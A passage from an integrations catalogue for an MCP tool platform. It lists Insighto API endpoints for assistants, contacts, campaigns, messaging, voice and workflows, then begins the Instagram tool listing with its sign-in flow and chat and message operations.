/api/v1/insighto/api/v1/datasource/{datasource_id}/assistants. Scopes: api. insighto_get_api_v1_datasource_by_datasource_id_data_source_files (read) — Gets datasourcefiles for a given datasource via GET /api/v1/datasource/{datasource_id}/data_source_files GET /api/v1/insighto/api/v1/datasource/{datasource_id}/data_source_files. Scopes: api. insighto_get_api_v1_form_by_form_id (read) — Gets an form by its id via GET /api/v1/form/{form_id} GET /api/v1/insighto/api/v1/form/{form_id}. Scopes: api. insighto_get_api_v1_form_list (read) — Retrieve forms. Scoped to the active team (X-Team-Id header) when set, otherwise personal. via GET /api/v1/form/list GET /api/v1/insighto/api/v1/form/list. Scopes: api. insighto_get_api_v1_intent_by_intent_id (read) — Gets an intent by its id via GET /api/v1/intent/{intent_id} GET /api/v1/insighto/api/v1/intent/{intent_id}. Scopes: api. insighto_get_api_v1_intent_get_my_details (read) — Retrieve intents with connected metadata. Scoped to the active team (X-Team-Id header) when set, otherwise personal. via GET /api/v1/intent/get_my_details GET /api/v1/insighto/api/v1/intent/get_my_details. Scopes: api. insighto_get_api_v1_intent_list (read) — Retrieve intents (both user & system). Scoped to the active team (X-Team-Id header) when set, otherwise personal. via GET /api/v1/intent/list GET /api/v1/insighto/api/v1/intent/list. Scopes: api. insighto_get_api_v1_intent_list_system (read) — Retrieve intents. via GET /api/v1/intent/list_system GET /api/v1/insighto/api/v1/intent/list_system. Scopes: api. insighto_get_api_v1_link_tag_entity_by_link_tag_entity_id (read) — Gets an link_tag_entity by its id via GET /api/v1/link_tag_entity/{link_tag_entity_id}. Note: Insighto's own router serves GET /api/v1/link_tag_entity/{id} with its list-entities-by-tag handler (measured 2026-09-08: any id at this address answers the paginated {items, total, page, size} envelope), so this call returns the entities linked to the given id interpreted as a tag id rather than a single link_tag_entity row. GET /api/v1/insighto/api/v1/link_tag_entity/{link_tag_entity_id}. Scopes: api. insighto_get_api_v1_link_tag_entity_by_tag_id (read) — Gets an link_tag_entity by it tag_id via GET /api/v1/link_tag_entity/{tag_id} GET /api/v1/insighto/api/v1/link_tag_entity/by_tag/{tag_id}. Scopes: api. insighto_get_api_v1_link_tag_entity_entity_get_tags (read) — return tags linked to an entity via GET /api/v1/link_tag_entity/entity/get_tags GET /api/v1/insighto/api/v1/link_tag_entity/entity/get_tags. Scopes: api. insighto_get_api_v1_link_tag_entity_list (read) — Retrieve link tag entity via GET /api/v1/link_tag_entity/list GET /api/v1/insighto/api/v1/link_tag_entity/list. Scopes: api. insighto_get_api_v1_link_tag_entity_search_entities (read) — search entites by tag via GET /api/v1/link_tag_entity/search/entities GET /api/v1/insighto/api/v1/link_tag_entity/search/entities. Scopes: api. insighto_get_api_v1_messaging_whatsapp_templates (read) — Returns the list of approved WhatsApp message templates for a given widget. Proxies to the Meta Graph API so the frontend never needs the access token. via GET /api/v1/messaging/whatsapp/templates GET /api/v1/insighto/api/v1/messaging/whatsapp/templates. Scopes: api. insighto_get_api_v1_outbound_webhook_by_webhook_id (read) — Gets an webhook by its id via GET /api/v1/outbound_webhook/{webhook_id} GET /api/v1/insighto/api/v1/outbound_webhook/{webhook_id}. Scopes: api. insighto_get_api_v1_outbound_webhook_by_webhook_id_logs (read) — Retrieve webhook log via GET /api/v1/outbound_webhook/{webhook_id}/logs GET /api/v1/insighto/api/v1/outbound_webhook/{webhook_id}/logs. Scopes: api. insighto_get_api_v1_outbound_webhook_list (read) — Retrieve webhook via GET /api/v1/outbound_webhook/list GET /api/v1/insighto/api/v1/outbound_webhook/list. Scopes: api. insighto_get_api_v1_outbound_webhook_webhooklog_by_webhooklog_id (read) — Gets an webhook log by its id via GET /api/v1/outbound_webhook/WebhookLog/{webhooklog_id} GET /api/v1/insighto/api/v1/outbound_webhook/WebhookLog/{webhooklog_id}. Scopes: api. insighto_get_api_v1_prompt (read) — Retrieve prompts. Scoped to the active team (X-Team-Id header) when set, otherwise personal. via GET /api/v1/prompt GET /api/v1/insighto/api/v1/prompt. Scopes: api. insighto_get_api_v1_prompt_by_prompt_id (read) — Gets an prompt by its id via GET /api/v1/prompt/{prompt_id} GET /api/v1/insighto/api/v1/prompt/{prompt_id}. Scopes: api. insighto_get_api_v1_provider_by_provider_id (read) — Gets Provider by its id via GET /api/v1/provider/{provider_id} GET /api/v1/insighto/api/v1/provider/{provider_id}. Scopes: api. insighto_get_api_v1_provider_list (read) — Retrieve Provider via GET /api/v1/provider/list GET /api/v1/insighto/api/v1/provider/list. Scopes: api. insighto_get_api_v1_provider_list_by_provider (read) — Retrieve Provider via GET /api/v1/provider/list/by_provider GET /api/v1/insighto/api/v1/provider/list/by_provider. Scopes: api. insighto_get_api_v1_tag_by_tag_id (read) — Gets an tag by its id via GET /api/v1/tag/{tag_id} GET /api/v1/insighto/api/v1/tag/{tag_id}. Scopes: api. insighto_get_api_v1_tag_list (read) — Retrieve tag via GET /api/v1/tag/list GET /api/v1/insighto/api/v1/tag/list. Scopes: api. insighto_get_api_v1_tag_search_tags (read) — search tags by substring via GET /api/v1/tag/search/tags GET /api/v1/insighto/api/v1/tag/search/tags. Scopes: api. insighto_get_api_v1_tool_by_tool_id (read) — Gets an tool by its id via GET /api/v1/tool/{tool_id} GET /api/v1/insighto/api/v1/tool/{tool_id}. Scopes: api. insighto_get_api_v1_tool_by_tool_id_linktooluser (read) — Retrieve linked tool and user via GET /api/v1/tool/{tool_id}/LinkToolUser GET /api/v1/insighto/api/v1/tool/{tool_id}/LinkToolUser. Scopes: api. insighto_get_api_v1_tool_by_tool_id_tool_function_list (read) — Retrieve all ToolFunction via GET /api/v1/tool/{tool_id}/tool_function/list GET /api/v1/insighto/api/v1/tool/{tool_id}/tool_function/list. Scopes: api. insighto_get_api_v1_tool_function_invoke_log_by_tool_function_invoke_log_id (read) — Gets tool_function_invoke_log by its id via GET /api/v1/tool_function_invoke_log/{tool_function_invoke_log_id} GET /api/v1/insighto/api/v1/tool_function_invoke_log/{tool_function_invoke_log_id}. Scopes: api. insighto_get_api_v1_tool_function_invoke_log_list (read) — Retrieve ToolFunctionInvokeLog via GET /api/v1/tool_function_invoke_log/list GET /api/v1/insighto/api/v1/tool_function_invoke_log/list. Scopes: api. insighto_get_api_v1_tool_linktooluser_by_tool_user_id (read) — Retrieve a single tool_user via GET /api/v1/tool/LinkToolUser/{tool_user_id} GET /api/v1/insighto/api/v1/tool/LinkToolUser/{tool_user_id}. Scopes: api. insighto_get_api_v1_tool_linktooluser_list (read) — Retrieve linked tooluser via GET /api/v1/tool/LinkToolUser/list GET /api/v1/insighto/api/v1/tool/LinkToolUser/list. Scopes: api. insighto_get_api_v1_tool_list (read) — Retrieve tools. Scoped to the active team (X-Team-Id header) when set, otherwise personal. via GET /api/v1/tool/list GET /api/v1/insighto/api/v1/tool/list. Scopes: api. insighto_get_api_v1_tool_tools_conversation_sync_list (read) — Conversation Sync Tools via GET /api/v1/tool/tools/conversation_sync/list GET /api/v1/insighto/api/v1/tool/tools/conversation_sync/list. Scopes: api. insighto_get_api_v1_toolfunction_by_toolfunction_id (read) — Gets an toolfunction by its id via GET /api/v1/toolfunction/{toolfunction_id} GET /api/v1/insighto/api/v1/toolfunction/{toolfunction_id}. Scopes: api. insighto_get_api_v1_toolfunction_list (read) — Retrieve all ToolFunction via GET /api/v1/toolfunction/list GET /api/v1/insighto/api/v1/toolfunction/list. Scopes: api. insighto_get_api_v1_user (read) — Gets my user profile information via GET /api/v1/user GET /api/v1/insighto/api/v1/user. Scopes: api. insighto_get_api_v1_user_by_userwhatsapp_id_userwhatsapp (read) — Gets an userwhatsapp by its id via GET /api/v1/user/{userwhatsapp_id}/UserWhatsApp GET /api/v1/insighto/api/v1/user/{userwhatsapp_id}/UserWhatsApp. Scopes: api. insighto_get_api_v1_user_get_agent_list (read) — Get Agent List via GET /api/v1/user/get_agent_list/ GET /api/v1/insighto/api/v1/user/get_agent_list/. Scopes: api. insighto_get_api_v1_user_linked_assistants_with_agent (read) — Linked Assistants With Agent via GET /api/v1/user/linked_assistants_with_agent/ GET /api/v1/insighto/api/v1/user/linked_assistants_with_agent/. Scopes: api. insighto_get_api_v1_user_list_userwhatsapp (read) — Retrieve all Userwhatsapp via GET /api/v1/user/list/UserWhatsApp GET /api/v1/insighto/api/v1/user/list/UserWhatsApp. Scopes: api. insighto_get_api_v1_user_usage_user_daily_usages (read) — Retrieve user_daily_usages aggregation via GET /api/v1/user_usage/user_daily_usages GET /api/v1/insighto/api/v1/user_usage/user_daily_usages. Scopes: api. insighto_get_api_v1_user_usage_user_monthly_usages (read) — Retrieve user_monthly_usages aggregation for the last 12 months. via GET /api/v1/user_usage/user_monthly_usages GET /api/v1/insighto/api/v1/user_usage/user_monthly_usages. Scopes: api. insighto_get_api_v1_voice (read) — Retrieve list of user custom voice via GET /api/v1/voice GET /api/v1/insighto/api/v1/voice. Scopes: api. insighto_get_api_v1_voice_languages (read) — Get Supported Languages via GET /api/v1/voice/languages GET /api/v1/insighto/api/v1/voice/languages. Scopes: api. insighto_get_api_v1_voice_sync_by_provider_id (read) — Sync Voicetts By Provider Id via GET /api/v1/voice/sync_by_provider_id GET /api/v1/insighto/api/v1/voice/sync_by_provider_id. Scopes: api. insighto_get_api_v1_voice_syncing_providers (read) — Syncing Providers via GET /api/v1/voice/syncing_providers. Insighto declares no credential requirement on this operation; it answers without one. GET /api/v1/insighto/api/v1/voice/syncing_providers. Scopes: api. insighto_get_api_v1_voice_voice_preview (read) — Get Voice Preview via GET /api/v1/voice/voice_preview GET /api/v1/insighto/api/v1/voice/voice_preview. Scopes: api. insighto_get_api_v1_voice_voices (read) — Returns the list of all enabled for both system & owned voices via GET /api/v1/voice/voices GET /api/v1/insighto/api/v1/voice/voices. Scopes: api. insighto_get_api_v1_voice_voicestt (read) — Get Speechtotext List via GET /api/v1/voice/voicestt GET /api/v1/insighto/api/v1/voice/voicestt. Scopes: api. insighto_get_api_v1_widget (read) — Retrieve data sources. Requires admin or manager role via GET /api/v1/widget GET /api/v1/insighto/api/v1/widget. Scopes: api. insighto_get_api_v1_widget_by_widget_id (read) — Gets a widget by its id via GET /api/v1/widget/{widget_id} GET /api/v1/insighto/api/v1/widget/{widget_id}. Scopes: api. insighto_get_api_v1_workflow (read) — List Workflows via GET /api/v1/workflow GET /api/v1/insighto/api/v1/workflow. Scopes: api. insighto_get_api_v1_workflow_by_workflow_id (read) — Get Workflow via GET /api/v1/workflow/{workflow_id} GET /api/v1/insighto/api/v1/workflow/{workflow_id}. Scopes: api. insighto_get_api_v1_workflow_by_workflow_id_runs (read) — List Runs via GET /api/v1/workflow/{workflow_id}/runs GET /api/v1/insighto/api/v1/workflow/{workflow_id}/runs. Scopes: api. insighto_get_api_v1_workflow_by_workflow_id_runs_by_run_id (read) — Get Run via GET /api/v1/workflow/{workflow_id}/runs/{run_id} GET /api/v1/insighto/api/v1/workflow/{workflow_id}/runs/{run_id}. Scopes: api. insighto_patch_api_v1_call_disconnect_by_conversation_id (write) — To disconnect an active call via PATCH /api/v1/call/disconnect/{conversation_id} PATCH /api/v1/insighto/api/v1/call/disconnect/{conversation_id}. Scopes: api. insighto_patch_api_v1_conversation_by_conversation_id_pause (write) — Pause or resume AI for a conversation. When paused the AI will not respond to incoming messages — the agent replies directly via the send message endpoint. via PATCH /api/v1/conversation/{conversation_id}/pause PATCH /api/v1/insighto/api/v1/conversation/{conversation_id}/pause. Scopes: api. insighto_patch_api_v1_voice_change_status_by_voicetts_id (write) — Change Status Voicetts via PATCH /api/v1/voice/change_status/{voicetts_id} PATCH /api/v1/insighto/api/v1/voice/change_status/{voicetts_id}. Scopes: api. insighto_post_api_v1_agency (write) — Create a new agency via POST /api/v1/agency POST /api/v1/insighto/api/v1/agency. Scopes: api. insighto_post_api_v1_agency_billing_by_agency_id_billing_plan (write) — Create a new billing plan for the agency via POST /api/v1/agency/billing/{agency_id}/billing_plan POST /api/v1/insighto/api/v1/agency/billing/{agency_id}/billing_plan. Scopes: api. insighto_post_api_v1_agency_by_agency_id_staff_invite (write) — Invite a user as agency staff. Owner or admin only. via POST /api/v1/agency/{agency_id}/staff/invite POST /api/v1/insighto/api/v1/agency/{agency_id}/staff/invite. Scopes: api. insighto_post_api_v1_agency_by_agency_id_staff_invite_by_invite_id_resend (write) — Resend a pending staff invite email. Owner or admin only. via POST /api/v1/agency/{agency_id}/staff/invite/{invite_id}/resend POST /api/v1/insighto/api/v1/agency/{agency_id}/staff/invite/{invite_id}/resend. Scopes: api. insighto_post_api_v1_agency_staff_accept_invite (write) — Accept a staff invite using the token from the invite email. via POST /api/v1/agency/staff/accept_invite POST /api/v1/insighto/api/v1/agency/staff/accept_invite. Scopes: api. insighto_post_api_v1_assistant (write) — Create a new assistant via POST /api/v1/assistant POST /api/v1/insighto/api/v1/assistant. Scopes: api. insighto_post_api_v1_assistant_by_assistant_id_data_source_by_datasource_id (write) — add an existing data source to an assistant via POST /api/v1/assistant/{assistant_id}/data_source/{datasource_id} POST /api/v1/insighto/api/v1/assistant/{assistant_id}/data_source/{datasource_id}. Scopes: api. insighto_post_api_v1_assistant_by_assistant_id_intent_by_intent_id (write) — add an intent to an assistant via POST /api/v1/assistant/{assistant_id}/intent/{intent_id} POST /api/v1/insighto/api/v1/assistant/{assistant_id}/intent/{intent_id}. Scopes: api. insighto_post_api_v1_calendar_pool (write) — Create Pool via POST /api/v1/calendar_pool POST /api/v1/insighto/api/v1/calendar_pool. Scopes: api. insighto_post_api_v1_calendar_pool_by_pool_id_book (write) — Pick a member by strategy and book on their calendar. Body: {appointment_date: YYYY-MM-DD, appointment_time: HH:MM, email?, phone?} via POST /api/v1/calendar_pool/{pool_id}/book POST /api/v1/insighto/api/v1/calendar_pool/{pool_id}/book. Scopes: api. insighto_post_api_v1_calendar_pool_by_pool_id_members (write) — Add Member via POST /api/v1/calendar_pool/{pool_id}/members POST /api/v1/insighto/api/v1/calendar_pool/{pool_id}/members. Scopes: api. insighto_post_api_v1_call_by_widget_id (write) — To make an outbound call to a given telephone number via POST /api/v1/call/{widget_id} POST /api/v1/insighto/api/v1/call/{widget_id}. Scopes: api. insighto_post_api_v1_call_by_widget_id_contacts (write) — To initiate calls to a list of contacts in bulk via POST /api/v1/call/{widget_id}/contacts POST /api/v1/insighto/api/v1/call/{widget_id}/contacts. Scopes: api. insighto_post_api_v1_campaign_contact (write) — Create a new campaign_contact via POST /api/v1/campaign_contact POST /api/v1/insighto/api/v1/campaign_contact. Scopes: api. insighto_post_api_v1_campaign_contact_by_campaign_id_contacts (write) — Update or add ALL campaign contacts for the given campaign ID. via POST /api/v1/campaign_contact/{campaign_id}/contacts POST /api/v1/insighto/api/v1/campaign_contact/{campaign_id}/contacts. Scopes: api. insighto_post_api_v1_campaign_create (write) — Create a new campaign via POST /api/v1/campaign/create POST /api/v1/insighto/api/v1/campaign/create. Scopes: api. insighto_post_api_v1_campaign_run_by_widget_id (write) — Run Campaign via POST /api/v1/campaign/run/{widget_id} POST /api/v1/insighto/api/v1/campaign/run/{widget_id}. Scopes: api. insighto_post_api_v1_channel_twilio (write) — Create a new twilio auth via POST /api/v1/channel/twilio POST /api/v1/insighto/api/v1/channel/twilio. Scopes: api. insighto_post_api_v1_contact_custom_field (write) — Create a new Contact Custom Field via POST /api/v1/contact_custom_field POST /api/v1/insighto/api/v1/contact_custom_field. Scopes: api. insighto_post_api_v1_contact_upsert (write) — Upsert a contact using email or phone number. - **phone_number**: phone number of the contact including the country code. For ex: 16501111234 - **email**: email address of the contact. via POST /api/v1/contact/upsert POST /api/v1/insighto/api/v1/contact/upsert. Scopes: api. insighto_post_api_v1_conversation_by_conversation_id_close (write) — Close a conversation. Sets is_closed=true so the next inbound message starts a fresh conversation. Also re-enables AI (clears ai_paused). via POST /api/v1/conversation/{conversation_id}/close POST /api/v1/insighto/api/v1/conversation/{conversation_id}/close. Scopes: api. insighto_post_api_v1_conversation_flow (write) — Create new conversation_flow via POST /api/v1/conversation_flow POST /api/v1/insighto/api/v1/conversation_flow. Scopes: api. insighto_post_api_v1_datasource (write) — Create a new datasource via POST /api/v1/datasource POST /api/v1/insighto/api/v1/datasource. Scopes: api. insighto_post_api_v1_datasource_by_datasource_id_text_blob (write) — add a new file to a datasource via POST /api/v1/datasource/{datasource_id}/text_blob POST /api/v1/insighto/api/v1/datasource/{datasource_id}/text_blob. Scopes: api. insighto_post_api_v1_form (write) — Create a new form via POST /api/v1/form POST /api/v1/insighto/api/v1/form. Scopes: api. insighto_post_api_v1_intent (write) — Create a new intent via POST /api/v1/intent POST /api/v1/insighto/api/v1/intent. Scopes: api. insighto_post_api_v1_link_tag_entity (write) — Create a new link tag entity via POST /api/v1/link_tag_entity POST /api/v1/insighto/api/v1/link_tag_entity. Scopes: api. insighto_post_api_v1_messaging_by_widget_id (write) — To send a text message to a given telephone number or a contact - **widget_id**: Widget ID to be used for initiating the call. It must be connected to WhatsApp or SMS. - **to**: phone number of the recipient. should contain the country code. For ex: 16501111234 - **contact_id**: contact ID to whom the message is to be sent. (either to or contact_id must be given) - **message**: text message to be sent. - **start_new_conversation**: whether to start a new conversation or pick the latest. via POST /api/v1/messaging/{widget_id} POST /api/v1/insighto/api/v1/messaging/{widget_id}. Scopes: api. insighto_post_api_v1_messaging_by_widget_id_contacts (write) — To send messages to a list of contacts in bulk - **widget_id**: Widget ID to be used for sending the message. It must be connected to WhatsApp or SMS. - **contact_ids**: list of contact IDs to whom the message is to be sent. - **message**: text message to be sent. - **start_new_conversation**: whether to start a new conversation or pick the latest. via POST /api/v1/messaging/{widget_id}/contacts POST /api/v1/insighto/api/v1/messaging/{widget_id}/contacts. Scopes: api. insighto_post_api_v1_outbound_webhook (write) — Create a new webhook via POST /api/v1/outbound_webhook POST /api/v1/insighto/api/v1/outbound_webhook. Scopes: api. insighto_post_api_v1_pricing (write) — Get Pricing For User Endpoint via POST /api/v1/pricing POST /api/v1/insighto/api/v1/pricing. Scopes: api. insighto_post_api_v1_prompt (write) — Create a new prompt via POST /api/v1/prompt POST /api/v1/insighto/api/v1/prompt. Scopes: api. insighto_post_api_v1_provider (write) — Create a new Provider via POST /api/v1/provider POST /api/v1/insighto/api/v1/provider. Scopes: api. insighto_post_api_v1_tag (write) — Create a new tag via POST /api/v1/tag POST /api/v1/insighto/api/v1/tag. Scopes: api. insighto_post_api_v1_tool (write) — Create a new tool via POST /api/v1/tool POST /api/v1/insighto/api/v1/tool. Scopes: api. insighto_post_api_v1_tool_by_tool_id_linktooluser (write) — Link Tool with User via POST /api/v1/tool/{tool_id}/LinkToolUser POST /api/v1/insighto/api/v1/tool/{tool_id}/LinkToolUser. Scopes: api. insighto_post_api_v1_tool_linktooluser_bulk_list_functions (write) — Retrieve all the functions to a LinkToolUser via POST /api/v1/tool/LinkToolUser/bulk_list_functions POST /api/v1/insighto/api/v1/tool/LinkToolUser/bulk_list_functions. Scopes: api. insighto_post_api_v1_tool_tooluser_by_tool_user_id_run_static_function (write) — To execute a tool's static function and return the response via POST /api/v1/tool/ToolUser/{tool_user_id}/run_static_function POST /api/v1/insighto/api/v1/tool/ToolUser/{tool_user_id}/run_static_function. Scopes: api. insighto_post_api_v1_toolfunction (write) — Create a toolfunction via POST /api/v1/toolfunction POST /api/v1/insighto/api/v1/toolfunction. Scopes: api. insighto_post_api_v1_user_create_live_agent (write) — Creates a new user with role agent Required roles: - admin via POST /api/v1/user/create_live_agent POST /api/v1/insighto/api/v1/user/create_live_agent. Scopes: api. insighto_post_api_v1_user_link_agent_assistants (write) — Link Agent Assistants via POST /api/v1/user/link-agent-assistants/ POST /api/v1/insighto/api/v1/user/link-agent-assistants/. Scopes: api. insighto_post_api_v1_user_userwhatsapp (write) — Create new userwhatsapp via POST /api/v1/user/UserWhatsApp POST /api/v1/insighto/api/v1/user/UserWhatsApp. Scopes: api. insighto_post_api_v1_users_me_device_token (write) — Register FCM device token for push notifications via POST /api/v1/users/me/device_token POST /api/v1/insighto/api/v1/users/me/device_token. Scopes: api. insighto_post_api_v1_widget (write) — Create a new assistant via POST /api/v1/widget POST /api/v1/insighto/api/v1/widget. Scopes: api. insighto_post_api_v1_wizard_parse_intent (write) — Parse a free-form business description into a WizardConfig. The wizard sends the user's text from the Smart-Start landing screen here and uses the result to pre-fill every downstream step. Falls back to a 422 if the LLM response can't be parsed against the schema — the frontend then routes the user to the manual template-picker path. via POST /api/v1/wizard/parse-intent POST /api/v1/insighto/api/v1/wizard/parse-intent. Scopes: api. insighto_post_api_v1_workflow (write) — Create Workflow via POST /api/v1/workflow POST /api/v1/insighto/api/v1/workflow. Scopes: api. insighto_post_api_v1_workflow_by_workflow_id_trigger (write) — Run the workflow against the given trigger payload. Executes synchronously until the workflow either: - reaches an `end` node (status=done), - returns a wait directive (status=waiting; Celery resumes later — 5c), - or errors (status=failed). via POST /api/v1/workflow/{workflow_id}/trigger POST /api/v1/insighto/api/v1/workflow/{workflow_id}/trigger. Scopes: api. insighto_put_api_v1_agency_billing_by_billing_plan_id (write) — Update Agency Billing By Id via PUT /api/v1/agency/billing/{billing_plan_id} PUT /api/v1/insighto/api/v1/agency/billing/{billing_plan_id}. Scopes: api. insighto_put_api_v1_agency_by_agency_id (write) — Update agency. Owner or admin only. via PUT /api/v1/agency/{agency_id} PUT /api/v1/insighto/api/v1/agency/{agency_id}. Scopes: api. insighto_put_api_v1_agency_by_agency_id_staff_by_user_id_role (write) — Change a staff member's role. Owner only. via PUT /api/v1/agency/{agency_id}/staff/{user_id}/role PUT /api/v1/insighto/api/v1/agency/{agency_id}/staff/{user_id}/role. Scopes: api. insighto_put_api_v1_assistant_by_assistant_id (write) — Update an Assistant via PUT /api/v1/assistant/{assistant_id} PUT /api/v1/insighto/api/v1/assistant/{assistant_id}. Scopes: api. insighto_put_api_v1_calendar_pool_by_pool_id (write) — Update Pool via PUT /api/v1/calendar_pool/{pool_id} PUT /api/v1/insighto/api/v1/calendar_pool/{pool_id}. Scopes: api. insighto_put_api_v1_calendar_pool_by_pool_id_members_by_member_id (write) — Update Member via PUT /api/v1/calendar_pool/{pool_id}/members/{member_id} PUT /api/v1/insighto/api/v1/calendar_pool/{pool_id}/members/{member_id}. Scopes: api. insighto_put_api_v1_campaign_contact_by_campaign_id (write) — Update or add campaign contacts for the given campaign ID and list of contact IDs. via PUT /api/v1/campaign_contact/{campaign_id} PUT /api/v1/insighto/api/v1/campaign_contact/{campaign_id}. Scopes: api. insighto_put_api_v1_campaign_update_by_campaign_id (write) — Update variable via PUT /api/v1/campaign/update/{campaign_id} PUT /api/v1/insighto/api/v1/campaign/update/{campaign_id}. Scopes: api. insighto_put_api_v1_channel_by_channel_id (write) — Update channel via PUT /api/v1/channel/{channel_id} PUT /api/v1/insighto/api/v1/channel/{channel_id}. Scopes: api. insighto_put_api_v1_channel_twilio_by_twilio_auth_id (write) — Update twilio auth via PUT /api/v1/channel/twilio/{twilio_auth_id} PUT /api/v1/insighto/api/v1/channel/twilio/{twilio_auth_id}. Scopes: api. insighto_put_api_v1_contact_by_contact_id (write) — Update contact via PUT /api/v1/contact/{contact_id} PUT /api/v1/insighto/api/v1/contact/{contact_id}. Scopes: api. insighto_put_api_v1_contact_custom_field_by_contact_custom_field_id (write) — Update Contact Custom Field via PUT /api/v1/contact_custom_field/{contact_custom_field_id} PUT /api/v1/insighto/api/v1/contact_custom_field/{contact_custom_field_id}. Scopes: api. insighto_put_api_v1_conversation_flow_by_conversation_flow_id (write) — Update conversation_flow via PUT /api/v1/conversation_flow/{conversation_flow_id} PUT /api/v1/insighto/api/v1/conversation_flow/{conversation_flow_id}. Scopes: api. insighto_put_api_v1_form_by_form_id (write) — Update variable via PUT /api/v1/form/{form_id} PUT /api/v1/insighto/api/v1/form/{form_id}. Scopes: api. insighto_put_api_v1_link_tag_entity_by_link_tag_entity_id (write) — Update link_tag_entity via PUT /api/v1/link_tag_entity/{link_tag_entity_id} PUT /api/v1/insighto/api/v1/link_tag_entity/{link_tag_entity_id}. Scopes: api. insighto_put_api_v1_outbound_webhook_by_webhook_id (write) — Update Webhook via PUT /api/v1/outbound_webhook/{webhook_id} PUT /api/v1/insighto/api/v1/outbound_webhook/{webhook_id}. Scopes: api. insighto_put_api_v1_prompt_by_prompt_id (write) — Update Prompt via PUT /api/v1/prompt/{prompt_id} PUT /api/v1/insighto/api/v1/prompt/{prompt_id}. Scopes: api. insighto_put_api_v1_provider_by_provider_id (write) — Update Provider via PUT /api/v1/provider/{provider_id} PUT /api/v1/insighto/api/v1/provider/{provider_id}. Scopes: api. insighto_put_api_v1_tag_by_tag_id (write) — Update tag via PUT /api/v1/tag/{tag_id} PUT /api/v1/insighto/api/v1/tag/{tag_id}. Scopes: api. insighto_put_api_v1_tool_by_link_tool_user_id_linktooluser (write) — update link tool user via PUT /api/v1/tool/{link_tool_user_id}/LinkToolUser PUT /api/v1/insighto/api/v1/tool/{link_tool_user_id}/LinkToolUser. Scopes: api. insighto_put_api_v1_tool_by_tool_id (write) — Update Tool via PUT /api/v1/tool/{tool_id} PUT /api/v1/insighto/api/v1/tool/{tool_id}. Scopes: api. insighto_put_api_v1_toolfunction_by_toolfunction_id (write) — Update toolfunction via PUT /api/v1/toolfunction/{toolfunction_id} PUT /api/v1/insighto/api/v1/toolfunction/{toolfunction_id}. Scopes: api. insighto_put_api_v1_user_by_user_id (write) — Update the User Profile via PUT /api/v1/user/{user_id} PUT /api/v1/insighto/api/v1/user/{user_id}. Scopes: api. insighto_put_api_v1_user_by_userwhatsapp_id_userwhatsapp (write) — Update userwhatsapp via PUT /api/v1/user/{userwhatsapp_id}/UserWhatsApp PUT /api/v1/insighto/api/v1/user/{userwhatsapp_id}/UserWhatsApp. Scopes: api. insighto_put_api_v1_widget_by_widget_id (write) — Update a Widget via PUT /api/v1/widget/{widget_id} PUT /api/v1/insighto/api/v1/widget/{widget_id}. Scopes: api. insighto_put_api_v1_workflow_by_workflow_id (write) — Update Workflow via PUT /api/v1/workflow/{workflow_id} PUT /api/v1/insighto/api/v1/workflow/{workflow_id}. Scopes: api. ================================================================================ ## Instagram URL: https://www.agenticfabriq.com/integrations/instagram Section: Integrated Tools Instagram — 22 MCP tools Provider key: instagram. Scopes: delete, read, write. Connect: AF hosted sign-in — your end user signs in to their account on an Agentic Fabriq page (a QR scan, a pairing code, or the provider’s own sign-in form); there is no credential to paste. SAME route as a pasted credential: POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url. Capabilities reports key_connect: true for these, and link_connect: true to tell you which screen the user will see. Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. instagram_delete_chats_by_chat_id (write, destructive) — Delete a chat. DELETE /api/v1/chats/{chat_id}. Delete a chat. Supported for WhatsApp and LinkedIn only. DELETE /api/v1/instagram/api/v1/chats/{chat_id}. Scopes: delete. instagram_delete_messages_by_message_id (write, destructive) — Delete a message. DELETE /api/v1/messages/{message_id}. Delete a message. Supported for WhatsApp and LinkedIn only. For LinkedIn, it is only possible within the first 60 minutes after the message is sent. DELETE /api/v1/instagram/api/v1/messages/{message_id}. Scopes: delete. instagram_get_chat_attendees (read) — List all attendees. GET /api/v1/chat_attendees. Returns a list of messaging attendees. Some optional parameters are available to filter the results. GET /api/v1/instagram/api/v1/chat_attendees. Scopes: read. instagram_get_chat_attendees_by_attendee_id_chats (read) — List all 1to1 chats for a given attendee. GET /api/v1/chat_attendees/{attendee_id}/chats. Returns a list of chats where a given attendee is involved. GET /api/v1/instagram/api/v1/chat_attendees/{attendee_id}/chats. Scopes: read. instagram_get_chat_attendees_by_attendee_id_sync (read) — Resynchronize chats for a given attendee. GET /api/v1/chat_attendees/{attendee_id}/sync. Starts or monitors the synchronization of all chats for a given attendee. GET /api/v1/instagram/api/v1/chat_attendees/{attendee_id}/sync. Scopes: read. instagram_get_chat_attendees_by_id (read) — Retrieve an attendee. GET /api/v1/chat_attendees/{id}. The id of the wanted attendee. GET /api/v1/instagram/api/v1/chat_attendees/{id}. Scopes: read. instagram_get_chat_attendees_by_id_picture (read) — Download a chat attendee picture. GET /api/v1/chat_attendees/{id}/picture. Download the profile picture of an attendee or picture of a group chat. GET /api/v1/instagram/api/v1/chat_attendees/{id}/picture. Scopes: read. instagram_get_chat_attendees_by_sender_id_messages (read) — List all messages for a given attendee. GET /api/v1/chat_attendees/{sender_id}/messages. Returns a list of messages where a given attendee is involved. GET /api/v1/instagram/api/v1/chat_attendees/{sender_id}/messages. Scopes: read. instagram_get_chats (read) — List all chats. GET /api/v1/chats. Returns a list of chats. Some optional parameters are available to filter the results. GET /api/v1/instagram/api/v1/chats. Scopes: read. instagram_get_chats_by_chat_id (read) — Retrieve a chat. GET /api/v1/chats/{chat_id}. Retrieve the details of a chat. GET /api/v1/instagram/api/v1/chats/{chat_id}. Scopes: read. instagram_get_chats_by_chat_id_attendees (read) — List all attendees from a chat. GET /api/v1/chats/{chat_id}/attendees. Returns a list of messaging attendees related to a given chat. Some optional parameters are available to filter the results. GET /api/v1/instagram/api/v1/chats/{chat_id}/attendees. Scopes: read. instagram_get_chats_by_chat_id_messages (read) — List all messages from a chat. GET /api/v1/chats/{chat_id}/messages. Returns a list of messages related to the given chat. Some parameters are available to filter the results. GET /api/v1/instagram/api/v1/chats/{chat_id}/messages. Scopes: read. instagram_get_chats_by_chat_id_sync (read) — Synchronize a conversation from its beginning. GET /api/v1/chats/{chat_id}/sync. This route can be used both to initiate a synchronization process and to monitor its status via regular polling. GET /api/v1/instagram/api/v1/chats/{chat_id}/sync. Scopes: read. instagram_get_messages (read) — List all messages. GET /api/v1/messages. Returns a 